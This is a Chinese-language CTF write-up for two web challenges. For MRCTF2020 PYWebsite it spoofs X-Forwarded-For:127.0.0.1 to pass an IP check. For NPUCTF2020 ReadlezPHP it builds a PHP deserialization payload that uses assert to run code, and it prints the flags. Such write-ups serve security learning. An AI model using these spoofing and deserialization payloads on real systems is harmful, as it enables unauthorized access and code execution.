目录
[MRCTF2020]PYWebsite1
启动靶机
根据网页提示,我们需要点击BUY IT NOW,支付后,会得到授权码,在下方输入即可得到flag。
右键查看网页源代码
通过js代码可以发现,前端判断通过授权码后会跳转到./flag.php。直接访问flag.php
有校验,通过网页信息得知后端会判断ip是不是购买者,页面提示只有购买者和自己可以看到flag,其他购买者的ip猜不到,但我们可以伪造本地ip。
X-Forwarded-For:127.0.0.1
刷新此页面,并抓包,添加一行 X-Forwarded-For:127.0.0.1
拿到flag flag{a72cbd57-68e9-4aef-8a6c-56c735dab584}
[NPUCTF2020]ReadlezPHP1
启动靶机
一个报时页面,刷新页面,下面的时间也会刷新,f12查看报时部分代码
发现了一个链接,直接访问
代码审计,反序列化。
重点是这一行,如果b是system,a是cat /flag 那么就会执行system('cat /flag'),尝试构造命令:
打开php在线运行,执行序列化代码。
<?php
class HelloPhp
{
public $a = "phpinfo()";
public $b = "assert"; //这里system被过滤了
}
$a = serialize(new HelloPhp);
echo $a;
?>
构造payload:
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
ctrl+f 搜索flag flag{a6a5a5db-ea36-4d8a-a7d8-342853f58d8b}